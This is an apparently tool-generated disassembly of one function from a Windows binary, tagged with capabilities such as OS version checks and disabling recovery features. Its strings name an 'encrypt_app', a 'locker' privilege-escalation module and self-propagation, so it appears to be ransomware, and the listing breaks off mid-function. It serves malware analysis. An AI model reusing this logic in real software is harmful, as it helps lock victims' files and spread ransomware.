Function at 0x48bb80
Capabilities:
Check os version
Disable automatic windows recovery features
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x1a0
mov dword [esp + 0x6c], ecx
mov esi, edx
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48bc4f
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 8]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61cfb4
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x59
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [esp + 0x70], esi
mov ecx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa8]
mov edx, ecx
xor edx, 5
or edx, eax
sete dl
xor ebx, ebx
cmp ecx, 5
jb 0x48bca4
test dl, dl
jne 0x48bca4
cmp ecx, 5
jne 0x48bc87
cmp eax, 5
je 0x48bca2
cmp ecx, 5
jne 0x48bc91
cmp eax, 2
je 0x48bca2
cmp ecx, 6
jne 0x48c55c
test eax, eax
jne 0x48c55c
xor ebx, ebx
mov eax, dword [esp + 0x6c]
lea ecx, [esp + 0x114]
mov dword [esp + 0x68], ebx
lea edx, [eax + 0x12c]
mov dword [esp + 0x60], edx
call fcn.00477c50
mov eax, dword [0x6d6b64]
mov dword [esp + 0x130], eax
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x11c]
mov dword [esp + 0x134], 0
mov dword [esp + 0x94], 0
mov dword [esp + 0x138], 0
mov dword [esp + 0x98], 0
test eax, eax
je 0x48be7c
mov edi, dword [esp + 0x114]
shl eax, 2
lea ecx, [eax + eax*2]
jmp 0x48bd50
mov eax, dword [esp + 0x130]
lea ecx, [edx + edx*2]
mov dword [eax + ecx*4], esi
mov dword [eax + ecx*4 + 4], ebx
lea eax, [eax + ecx*4 + 8]
lea ecx, [esp + 0x138]
inc edx
mov dword [eax], ebx
add edi, 0xc
mov dword [ecx], edx
mov ecx, dword [esp]
add ecx, 0xfffffff4
je 0x48be7c
mov ebx, dword [edi + 8]
mov dword [esp], ecx
cmp ebx, 2
jae 0x48bd70
mov edx, dword [edi]
test ebx, ebx
jne 0x48bd84
mov esi, 1
mov dword [esp + 4], edx
jmp 0x48bdb6
mov edx, dword [edi]
movzx eax, word [edx]
cmp eax, 0x5c5c
je 0x48bdf0
test ebx, ebx
js 0x48f19a
mov dword [esp + 4], edx
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48bda3
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48d226
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
je 0x48d226
push ebx
push dword [esp + 8]
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x138]
cmp edx, dword [esp + 0x134]
jne 0x48bd20
lea ecx, [esp + 0x130]
call fcn.0047de40
mov edx, dword [esp + 0x138]
jmp 0x48bd20
test ebx, ebx
js 0x48f19a
mov dword [esp + 4], edx
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48be17
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48d226
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x48d226
mov esi, eax
push ebx
push dword [esp + 8]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x98]
cmp edx, dword [esp + 0x94]
jne 0x48be5b
lea ecx, [esp + 0x90]
call fcn.0047de40
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x90]
lea ecx, [edx + edx*2]
mov dword [eax + ecx*4], esi
mov dword [eax + ecx*4 + 4], ebx
lea eax, [eax + ecx*4 + 8]
lea ecx, [esp + 0x98]
jmp 0x48bd3c
mov eax, dword [esp + 0x138]
movsd xmm0, qword [esp + 0x130]
movsd xmm1, qword [esp + 0x90]
mov ecx, dword [esp + 0x98]
mov dword [esp + 0x10], eax
movsd qword [esp + 8], xmm0
movsd qword [esp + 0x14], xmm1
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x128], eax
movsd qword [esp + 0x120], xmm0
mov dword [esp + 0xf0], ecx
movsd qword [esp + 0xe8], xmm1
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48bfa3
mov eax, dword [esp + 0x60]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x477a00
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61cfd4
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x65
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [esp + 0x6c]
mov edi, dword [esp + 0x70]
cmp byte [eax + 0x128], 0
je 0x48c1a4
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48c072
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 8]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61cff8
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x68
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [esp + 0x118]
mov ebx, dword [esp + 0x114]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x11c]
mov dword [esp + 0x6c], ebx
lea ecx, [eax + eax*2]
test eax, eax
lea esi, [ebx + ecx*4]
je 0x48c2e6
mov eax, dword [esp + 0x6c]
add edi, 0xe8
mov dword [esp + 0x70], edi
lea ebx, [eax + 0xc]
jmp 0x48c0c2
mov eax, dword [esp + 4]
add ebx, 0xc
add eax, 0xc
cmp eax, esi
je 0x48c2e4
mov eax, dword [ebx - 0xc]
test eax, eax
mov dword [esp], eax
je 0x48c2e6
lea eax, [ebx - 0xc]
mov edi, dword [eax + 8]
test edi, edi
js 0x48f19a
mov dword [esp + 4], eax
mov eax, dword [eax + 4]
mov dword [esp + 0x60], eax
je 0x48c120
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48c106
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f1a1
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x48c125
jmp 0x48f1a1
mov eax, 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
push edi
push dword [esp + 4]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x70]
lea eax, [esp + 8]
mov dword [esp + 0x10], edi
mov byte [esp + 0x14], 0
lea ecx, [esp + 0x90]
push eax
call fcn.004739a0
add esp, 4
cmp byte [esp + 0x9c], 2
je 0x48c184
cmp dword [esp + 0x94], 0
je 0x48c184
push dword [esp + 0x90]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x60], 0
je 0x48c0b0
push dword [esp]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48c0b0
cmp byte [edi + 0xfc], 1
jne 0x48c323
mov eax, dword [esp + 0x118]
mov ebx, dword [esp + 0x114]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x11c]
mov dword [esp + 0x6c], ebx
lea ecx, [eax + eax*2]
test eax, eax
lea esi, [ebx + ecx*4]
je 0x48c85a
mov eax, dword [esp + 0x6c]
add edi, 0xe8
mov dword [esp + 0x70], edi
lea ebx, [eax + 0xc]
jmp 0x48c202
mov eax, dword [esp + 4]
add ebx, 0xc
add eax, 0xc
cmp eax, esi
je 0x48c858
mov eax, dword [ebx - 0xc]
test eax, eax
mov dword [esp], eax
je 0x48c85a
lea ecx, [ebx - 0xc]
mov edi, dword [ecx + 8]
test edi, edi
js 0x48f19a
mov eax, dword [ecx + 4]
mov dword [esp + 4], ecx
mov dword [esp + 0x60], eax
je 0x48c260
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48c246
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f1a1
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x48c265
jmp 0x48f1a1
mov eax, 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
push edi
push dword [esp + 4]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x70]
lea eax, [esp + 8]
mov dword [esp + 0x10], edi
mov byte [esp + 0x14], 0
lea ecx, [esp + 0x90]
push eax
call fcn.004739a0
add esp, 4
cmp byte [esp + 0x9c], 2
je 0x48c2c4
cmp dword [esp + 0x94], 0
je 0x48c2c4
push dword [esp + 0x90]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x60], 0
je 0x48c1f0
push dword [esp]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48c1f0
mov ebx, esi
sub esi, ebx
je 0x48c88f
add ebx, 4
jmp 0x48c30c
add ebx, 0xc
add esi, 0xfffffff4
je 0x48c88f
cmp dword [ebx], 0
je 0x48c300
push dword [ebx - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48c300
lea ecx, [esp + 8]
mov edx, 0x6826d4
push 0x2b
call fcn.004edd80
add esp, 4
cmp dword [esp + 8], 0
je 0x48c37b
cmp byte [esp + 0xc], 3
mov ebx, dword [esp + 0x68]
jne 0x48c397
mov esi, dword [esp + 0x10]
mov eax, dword [esi + 4]
push dword [esi]
call dword [eax]
add esp, 4
mov ecx, dword [esi + 4]
cmp dword [ecx + 4], 0
je 0x48c378
mov eax, dword [esi]
cmp dword [ecx + 8], 9
jb 0x48c36a
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push esi
jmp 0x48c38a
cmp dword [esp + 0x10], 0
mov ebx, dword [esp + 0x68]
je 0x48c397
push dword [esp + 0xc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea ecx, [esp + 8]
mov edx, 0x6826a9
push 0x2b
call fcn.004edd80
add esp, 4
cmp dword [esp + 8], 0
je 0x48c3eb
cmp byte [esp + 0xc], 3
jne 0x48c403
mov esi, dword [esp + 0x10]
mov eax, dword [esi + 4]
push dword [esi]
call dword [eax]
add esp, 4
mov ecx, dword [esi + 4]
cmp dword [ecx + 4], 0
je 0x48c3e8
mov eax, dword [esi]
cmp dword [ecx + 8], 9
jb 0x48c3da
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push esi
jmp 0x48c3f6
cmp dword [esp + 0x10], 0
je 0x48c403
push dword [esp + 0xc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test bl, bl
je 0x48d36b
mov ecx, dword [edi + 0xf4]
lock inc dword [ecx]
jle 0x48f20c
lock inc dword [ecx + 8]
lock dec dword [ecx + 8]
lock dec dword [ecx]
jne 0x48c42c
call fcn.00402a90
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa8]
mov edx, ecx
xor edx, 5
or edx, eax
sete dl
cmp ecx, 5
jb 0x48d36b
test dl, dl
jne 0x48d36b
cmp ecx, 5
jne 0x48c46a
cmp eax, 5
je 0x48d36b
cmp ecx, 5
jne 0x48c478
cmp eax, 2
je 0x48d36b
cmp ecx, 6
jne 0x48c485
test eax, eax
je 0x48d36b
lea ecx, [esp + 0x90]
call fcn.0052e980
mov al, byte [esp + 0xc0]
cmp al, 2
je 0x48d36b
test al, al
mov eax, dword [esp + 0xa0]
movzx ecx, word [esp + 0xc1]
mov edx, dword [esp + 0x90]
mov ebx, dword [esp + 0x94]
mov esi, dword [esp + 0x98]
mov edi, dword [esp + 0xa4]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0xa8]
mov word [esp + 0x78], cx
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0xac]
mov dword [esp], ecx
mov cl, byte [esp + 0xc3]
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0xb4]
mov byte [esp + 0x7a], cl
mov ecx, dword [esp + 0xb0]
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0xb8]
mov dword [esp + 4], eax
mov eax, dword [esp + 0xbc]
je 0x48ca97
test ebx, ebx
je 0x48c543
push edx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test edi, edi
je 0x48ca36
mov eax, dword [esp]
shl edi, 2
lea edi, [edi + edi*2]
lea ebx, [eax + 4]
jmp 0x48c99c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa8]
mov edx, ecx
xor edx, 5
or edx, eax
sete dl
cmp ecx, 5
jb 0x48ea97
test dl, dl
jne 0x48ea97
cmp ecx, 5
jne 0x48c59a
cmp eax, 5
je 0x48ea97
cmp ecx, 5
jne 0x48c5a8
cmp eax, 2
je 0x48ea97
cmp ecx, 6
jne 0x48c5b5
test eax, eax
je 0x48ea97
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48c66f
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 8]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x683524
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x22a
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
push 0x220
push 0
call sub.SHELL32.dll_SHTestTokenMembership
cmp eax, 1
sete byte [esp + 0x77]
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48c756
lea eax, [esp + 0x77]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x45eec0
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x68353c
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x22c
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
lea esi, [esp + 0xe8]
push esi
push 0x80000000
push 0xffffffffffffffff
call sub.ntdll.dll_NtOpenProcessToken
cmp eax, 0xbfffffff
mov dword [esp + 0x84], eax
jbe 0x48c9b3
mov eax, dword [0x6f11c8]
test eax, eax
je 0x48c851
lea eax, [esp + 0x84]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x460de0
mov eax, dword [0x6f1080]
mov dword [esp + 8], 1
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x6d4414
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x61
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
xor ebx, ebx
jmp 0x48cd9a
mov ebx, esi
sub esi, ebx
je 0x48c88f
add ebx, 4
jmp 0x48c878
add ebx, 0xc
add esi, 0xfffffff4
je 0x48c88f
cmp dword [ebx], 0
je 0x48c870
push dword [ebx - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48c870
mov eax, dword [esp + 0x68]
test eax, eax
je 0x48c8b2
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48c8b2
push dword [esp + 0x6c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0xf0]
test eax, eax
je 0x48c8ef
mov esi, dword [esp + 0xe8]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x48c8d8
add esi, 0xc
add edi, 0xfffffff4
je 0x48c8ef
cmp dword [esi], 0
je 0x48c8d0
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48c8d0
mov eax, dword [esp + 0xec]
test eax, eax
je 0x48c918
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48c918
push dword [esp + 0xe8]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x128]
test eax, eax
je 0x48c95f
mov esi, dword [esp + 0x120]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x48c948
add esi, 0xc
add edi, 0xfffffff4
je 0x48c95f
cmp dword [esi], 0
je 0x48c940
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48c940
mov eax, dword [esp + 0x124]
test eax, eax
je 0x48c988
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48c988
push dword [esp + 0x120]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
add ebx, 0xc
add edi, 0xfffffff4
je 0x48ca36
cmp dword [ebx], 0
je 0x48c990
push dword [ebx - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48c990
mov ebx, dword [esp + 0xe8]
lea esi, [esp + 0x78]
mov dword [esp + 0x78], 0
push esi
push 0
push 0
push 2
push ebx
call sub.ntdll.dll_NtQueryInformationToken
cmp eax, 0xc0000023
mov dword [esp + 0xf4], eax
jne 0x48cb29
mov ecx, dword [esp + 0x78]
test ecx, ecx
js 0x48f19a
test ecx, ecx
mov dword [esp], ecx
je 0x48cc22
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48ca1a
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f2d3
mov dword [0x6f1130], eax
mov ecx, dword [esp]
push ecx
push 8
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x48f2d3
mov edi, eax
mov eax, dword [esp + 0x78]
jmp 0x48cc29
mov eax, dword [esp + 0x68]
test eax, eax
je 0x48ca58
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48ca58
push dword [esp]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x60], 0
je 0x48ca73
push dword [esp + 0x10c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 4], 0
je 0x48d36b
push dword [esp + 0x110]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48d36b
mov dword [esp + 0x194], ebx
mov ebx, dword [esp + 0x6c]
mov dword [esp + 0x18c], ecx
mov dword [esp + 0x198], edx
lea ecx, [esp + 0xf4]
mov dword [esp + 0x190], eax
mov dword [esp + 0x12c], esi
lea edx, [ebx + 0x60]
call fcn.00477a90
mov eax, ebx
mov ebx, dword [ebx + 0x108]
xor edx, edx
test ebx, ebx
je 0x48cc0b
mov esi, dword [eax + 0x110]
test esi, esi
js 0x48f19a
je 0x48d1b4
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48cb0a
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48cb1b
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x48d1b9
mov ecx, esi
mov edx, 1
call fcn.0040a640
ud2
mov eax, dword [0x6f11c8]
test eax, eax
je 0x48cd37
lea eax, [esp + 0xf4]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x460de0
mov eax, dword [0x6f1080]
mov dword [esp + 8], 1
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x6d4414
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0x6d42bc
mov dword [esp + 0x20], 1
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x70
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
jmp 0x48cd37
mov ecx, dword [esp + 0x12c]
mov dword [esp + 0x180], 0
jmp 0x48d1d8
mov edi, 1
xor eax, eax
push esi
push eax
push edi
push 2
push ebx
call sub.ntdll.dll_NtQueryInformationToken
cmp eax, 0xbfffffff
mov dword [esp + 0x130], eax
jbe 0x48cd42
mov eax, dword [0x6f11c8]
test eax, eax
je 0x48cd23
lea eax, [esp + 0x130]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x460de0
mov eax, dword [0x6f1080]
mov dword [esp + 8], 1
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x6d4414
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0x6d42bc
mov dword [esp + 0x20], 1
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], pe_nt_image_headers32
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
cmp dword [esp], 0
je 0x48cd37
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea esi, [esp + 0xe8]
xor ebx, ebx
jmp 0x48cd9a
mov eax, dword [edi]
test eax, eax
je 0x48cd7c
lea ecx, [edi + 4]
shl eax, 3
jmp 0x48cd58
add ecx, 8
add eax, 0xfffffff8
je 0x48cd7c
mov edx, dword [ecx]
movzx ebx, byte [edx + 1]
cmp bl, 2
jb 0x48cd50
cmp dword [edx + 8], 0x20
jne 0x48cd50
dec bl
movzx esi, bl
cmp dword [edx + esi*4 + 8], 0x220
jne 0x48cd50
mov bl, 1
jmp 0x48cd7e
xor ebx, ebx
mov eax, dword [esp]
test eax, eax
je 0x48cd93
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea esi, [esp + 0xe8]
mov byte [esp + 0x64], bl
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48ce75
lea eax, [esp + 0x64]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x45eec0
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x68355c
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x22e
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
